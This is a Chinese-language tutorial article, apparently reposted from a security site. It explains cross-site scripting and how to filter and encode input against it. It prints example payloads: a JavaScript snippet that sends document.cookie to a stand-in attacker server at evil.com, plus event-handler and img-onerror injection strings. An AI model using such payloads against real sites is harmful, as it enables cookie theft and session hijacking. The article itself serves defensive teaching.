如何防止跨站點腳本攻擊

轉自:http://www.freebuf.com/articles/web/15188.html

1. 簡介

跨站點腳本(XSS)是當前web應用中最危險和最普遍的漏洞之一。安全研究人員在大部分最受歡迎的網站,包括Google, Facebook, Amazon, PayPal等網站都發現這個漏洞。如果你密切關注bug賞金計劃,會發現報道最多的問題屬於XSS。爲了避免跨站腳本,瀏覽器也有自己的過濾器,但安全研究人員總是能夠設法繞過這些過濾器。

這種漏洞(XSS)通常用於發動cookie竊取、惡意軟件傳播(蠕蟲攻擊),會話劫持,惡意重定向。在這種攻擊中,攻擊者將惡意JavaScript代碼注入到網站頁面中,這樣”受害”者的瀏覽器就會執行攻擊者編寫的惡意腳本。這種漏洞容易找到,但很難修補。這就是爲什麼你可以在任何網站發現它的身影。

在這篇文章中,我們將看到跨站腳本攻擊是什麼以及如何創建一個過濾器來阻止它。我們還將看到幾個開源庫,將幫助你修補在web應用程序中的跨站腳本漏洞。

2. 跨站點腳本是什麼?
跨站點腳本攻擊是一種Web應用程序的攻擊,攻擊者嘗試注入惡意腳本代碼到受信任的網站上執行惡意操作。 在跨站點腳本攻擊中,惡意代碼在受影響用戶的瀏覽器端執行,並對用戶的影響。也被稱爲XSS攻擊。你可能有一個疑問就是爲什麼我們叫它”XSS”,而不是”CSS”。

對於廣大的web程序猿來說。在網頁設計中,我們已經把級聯樣式表叫做CSS。因此爲了避免混淆,我們把cross-site scripting稱爲XSS。

現在,讓我們回到XSS攻擊。這個漏洞發生在網站應用程序接收用戶的輸入數據卻沒有做必要的編碼。如果對用戶輸入的數據沒有進行正確的編碼和過濾,這個被注入惡意腳本將被髮送給其他用戶。 對瀏覽器來說,它沒有辦法知道它不應該相信一個腳本的合法性。瀏覽器會正常地把這個腳本當成普通腳本執行,這個時候惡意的操作就不可避免的發生了。大部分的時候,XSS是用來竊取cookie,或竊取有效用戶的會話令牌session,以此進行會話劫持。

3. XSS的演示

Example 1:
幾乎所有的網站上看到一個搜索框。有了這個搜索框,你可以搜索並找到在網站上存放的資料。這種搜索形式看起來像這樣

<form action="search.php" method="get">
    <input type="text" name="q" value="" />
    <input type="submit" value="send" />
</form>

在search.php頁面中,代碼顯示了搜索的結果,並且列出了用戶輸入的搜索關鍵字。形式如下:
“Search results for Keyword”或者”You Searched for Keyword”

search.php可以這麼寫來模擬功能:

<h3>You Searched for: <?php echo($_GET['q']); ?>

無論你輸入任何關鍵字,它將隨搜索結果一起被顯示在網頁上。現在想想會發生什麼,如果一個攻擊者試圖從這個地方注入以下惡意腳本。

<script>alert('XSS injection')</script>

可以看到,因爲缺少對用戶輸入的有效的”編碼”和”過濾”。導致了XSS攻擊的發生,其實從本質上理解,XSS就是一種HTML的注入,和傳統的buffer overflow是類似的思想,即沒有對數據和代碼進行有效的分離,在緩衝區溢出總,攻擊者在通過超長的數據包發送覆蓋了程序buffer的關鍵返回ret位置,導致CPU控制流的劫持,錯誤地把攻擊者數據當作代碼來執行,最後導致了緩衝區溢出。

而XSS中的HTML注入也是一種利用代碼和數據未有效分離的攻擊,只不過攻擊發生在受害者用戶的瀏覽器上,攻擊者將數據發送給服務器,服務器沒有對輸入的數據進行有效的”編碼”和”過濾”(即去除數據本身的代碼特性,對於HTML來說就是去除它們稱爲Tag標籤的可能),導致了這些數據在用戶的瀏覽器上得到執行,最終導致XSS攻擊的發生。

Example 2:

很多網站都有私信或者留言板功能。登錄用戶可以發表評論或者給其他用戶(包括管理員)發送私信。一個最簡單的模擬表單如下:

<form action="sendmessage.php" method="post'">
    <textarea name="message"> </textarea>
    <input type="submit" value="send" />
</form>

當用戶點擊發送時,這條消息會被保存在數據庫中指定的數據表中,另一個用戶當打開這條消息的時候將看到發送的內容。但是,如果一個惡意攻擊者發送的內容包含了一些javascript代碼,這些代碼用於偷取敏感的cookie信息。當用戶打開看到這條消息的時候,惡意的javascript代碼就會得到執行,造成敏感cookie信息泄漏。攻擊者可以利用獲得這些cookie信息進行session hijacking會話劫持,直接以合法用戶的身份登錄其他用戶的賬戶。

惡意攻擊者可以在消息框中加入一下javascript代碼:

var url = "http://www.evil.com/index.php";   //攻擊者控制的服務器
var postStr = "ck=" + document.cookie;
var ajax = null;
if(window.XMLHttpRequest())
{
    ajax = new XMLHttpRequest();
}
else if(window.ActiveXObject)
{
    ajax = new ActiveXObject("Microsoft.XMLHttp");
}
else
{
    return;
}
ajax.open("POST", url, true);
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
ajax.onreadystatechange = function()
{
    if(ajax.readyState == 4 && ajax.status == 200)
    {
        //alert("Done!");
    }
}

通過AJAX異步請求,將被攻擊者的敏感cookie信息發送給了攻擊者控制的服務器。攻擊者隨後即可利用這些cookie信息以”合法”用戶的身份進行登錄操作。

這裏首先要理清楚幾個重要的問題:

1. cookie的作用

Cookie,有時也用其複數形式Cookies,指某些網站爲了辨別用戶身份、進行session跟蹤而儲存在用戶本地終端上的數據(通常經過加密)。定義於RFC2109(已廢棄),最新取代的規範是RFC2965。

也就是說,cookie是用戶和服務器之間的橋樑。服務器可以使用session來保存用戶的身份信息(ID,購物車等),但是需要用戶在訪問網頁(發送HTTP數據包)的時候附帶上相應的cookie,通過cookie中的特定值來識別sessionID,才能把單獨用戶和單獨的session聯繫起來。cookie是有狀態HTTP交互的一種重要機制。

2. 瀏覽器的同源策略

在進行cookie竊取的時候,攻擊者偷取的cookie是什麼,是全部cookie,還是當前這個網站的cookie?要解決這個問題,我們要先了解一些瀏覽器的同源策略。

同源策略,它是由Netscape提出的一個著名的安全策略。
現在所有支持JavaScript 的瀏覽器都會使用這個策略。
所謂同源是指,域名,協議,端口相同。
當一個瀏覽器的兩個tab頁中分別打開來 百度和谷歌的頁面
當瀏覽器的百度tab頁執行一個腳本的時候會檢查這個腳本是屬於哪個頁面的,
即檢查是否同源,只有和百度同源的腳本纔會被執行。

同源策略(Same Origin Policy)是一種約定,它是瀏覽器最核心也是最基本的安全功能,如果缺少了同源策略,則瀏覽器的正常功能可能都會受到影響。可以說web是構建在同源策略的基礎之上的,瀏覽器只是針對同源策略的一種實現。

瀏覽器的同源策略限制了來自不同源的”document”或腳本,對當前”document”的讀取或者設置某些屬性。爲了不讓瀏覽器的頁面行爲發生混亂,瀏覽器提出了”Origin”(源)這以概念,來自不同的Origin的對象無法互相干擾。

因爲同源策略的原因,也就導致了我們的XSS Payload(XSS攻擊代碼)必須在我們希望攻擊的同一個域下觸發。例如攻擊者如果想竊取在www.a.com下的cookie,那就必須在www.a.com這個域(可以是不同頁面,但要保證是同一個域)下的的某一個頁面放置XSS代碼,可以是存儲型,也可以是反射型或DOM Baesd型的。

4. XSS攻擊的種類

對XSS的分類沒有明確的標準,但業界普遍將XSS攻擊分爲三類。反射型XSS(non-persistent XSS), 存儲型XSS(persistent XSS), DOM Based XSS

4.1 非持久性跨站點腳本攻擊

非持久性XSS也稱爲反射型跨站漏洞。它是最常見的類型的XSS。漏洞產生的原因是攻擊者注入的數據反映在響應中。如果你看了我們上面所示的例子,第一個例子是一個非持久的XSS攻擊。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(即每次攻擊需要用戶的點擊)。

4.2 持久的跨站點腳本攻擊

持久型跨站點腳本也稱爲存儲跨站點腳本。它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。在上面的示例中,第二個例子就展示了一個持久的XSS攻擊。持久的XSS相比非持久性XSS攻擊危害性更大,因爲每當用戶打開頁面,查看內容時腳本將自動執行。谷歌的orkut曾經就遭受到XSS。

4.3 基於dom的跨站點腳本攻擊

基於DOM的XSS有時也稱爲type0 XSS。當用戶能夠通過交互修改瀏覽器頁面中的DOM(Document Object Model)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。
通過修改頁面的DOM節點形成的XSS,稱之爲DOM Based XSS。

<script>
    function test()
    {
        var str = document.getElementById("text").value;
        document.getElementById("t").innerHTML = "<a href='" + str + "' >testLink</a>";
    }
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

在這個場景中,代碼修改了頁面的DOM節點,通過innerHTML把一段用戶數據當作HTML寫入到頁面中,這就造成了DOM Based XSS

' οnclick=alert(/xss/) '

輸入後,頁面代碼就變成了:

<a href='' onclick=alert(/xss/) '' >testLink</a>

點擊這個新生成的鏈接,腳本將被執行。

實際上,這裏還有另外一種利用方式—除了構造一個新事件外,還可以選擇閉合掉<a>標籤,並插入一個新的HTML標籤:

'><img src=# onerror=alert(/xss2/) /><'

頁面代碼變成了:

<a href=''><img src=# onerror=alert(/xss2/) /><'' >testLink</a>

5. XSS漏洞產生的原因

跨站點腳本的主要原因是程序猿對用戶的信任。開發人員輕鬆地認爲用戶永遠不會試圖執行什麼出格的事情,所以他們創建應用程序,卻沒有使用任何額外的代碼來過濾用戶輸入以阻止任何惡意活動。另一個原因是,這種攻擊有許多變體,用製造出一種行之有效的XSS過濾器是一件比較困難的事情。
但是這只是相對的,對用戶輸入數據的”編碼”和”過濾”在任何時候都是很重要的,我們必須採取一些針對性的手段對其進行防禦。

6. 如何創造一個良好的XSS過濾器來阻止大多數XSS攻擊代碼

6.1 需要重點”編碼”和”過濾”的對象

The URL
HTTP referrer objects
GET parameters from a form
POST parameters from a form
Window.location
Document.referrer
document.location
document.URL
document.URLUnencoded
cookie data
headers data
database data

防禦XSS有一個原則:

以當前的應用系統爲中心,所有的進入應用系統的數據都看成是輸入數據(包括從FORM表單或者從數據庫獲取到的數據),所有從當前應用系統流出的數據都看作是輸出(包括輸出到用戶瀏覽器或向數據庫寫入數據)

對輸入的數據進行”過濾”,對輸出數據進行”編碼”。這裏的”編碼”也要注意,必須針對數據具體的上下文語境進行針對性的編碼。例如數據是輸出到HTML中的那就要進行HtmlEncode,如果數據是輸出到javascript代碼中進行拼接的,那就要進行javascriptEncode。

如果不搞清楚數據具體輸出的語境,就有可能因爲HtmlParser()javascriptParser()兩種解析引擎的執行先後問題導致看似嚴密的”編碼”形同虛設。

6.2 HtmlEncode HTML編碼

它的作用是將字符轉換成HTMLEntities,對應的標準是ISO-8859-1
爲了對抗XSS,在HtmlEncode中要求至少轉換以下字符:

&   -->   &amp;
<   -->   &lt;
>   -->   &gt;
"   -->   &quot;
'   -->   '
/   -->   /
在PHP中:

htmlentities
http://www.w3school.com.cn/php/func_string_htmlentities.asp

htmlspecialchars
http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

6.3 javascriptEncode javascript”編碼”

javascriptEncode與HtmlEncode的編碼方法不同,HtmlEncode是去編碼,而javascriptEncode更多的像轉義,它需要使用”\”對特殊字符進行轉義。從原理上來講,這都符合編碼函數的一個大原則: 將數據和代碼區分開,因爲對於HTML Tag來說,我們對其進行”可視化(轉換成可以見字符)”的編碼可以將數據和HTML的界限分開。而對於javascript來說,我們除了要進行編碼之外,還需要對特殊字符進行轉義,這樣攻擊輸入的用於”閉合”的特殊字符就無法發揮作用,從而避免XSS攻擊,除此之外,在對抗XSS時,還要求輸出的變量必須在引號內部,以避免造成安全問題。

escape()
http://www.w3school.com.cn/js/jsref_escape.asp

該方法不會對 ASCII 字母和數字進行編碼,也不會對下面這些 ASCII 標點符號進行編碼: * @ – _ + . / 。其他所有的字符都會被轉義序列(十六進制\xHH)替換。
利用這個編碼函數,不僅能防禦XSS攻擊,還可以防禦一些command注入。

7. 一些開源的防禦XSS攻擊的代碼庫

PHP AntiXSS
這是一個不錯的PHP庫,可以幫助開發人員增加一層保護,防止跨站腳本漏洞。

https://code.google.com/p/php-antixss/

xss_clean.php filter

https://gist.github.com/mbijon/1098477

HTML Purifier 

http://htmlpurifier.org/

xssprotect 

https://code.google.com/p/xssprotect/

XSS HTML Filter
http://finn-no.github.io/xss-html-filter/

發佈了43 篇原創文章 · 獲贊 56 · 訪問量 15萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章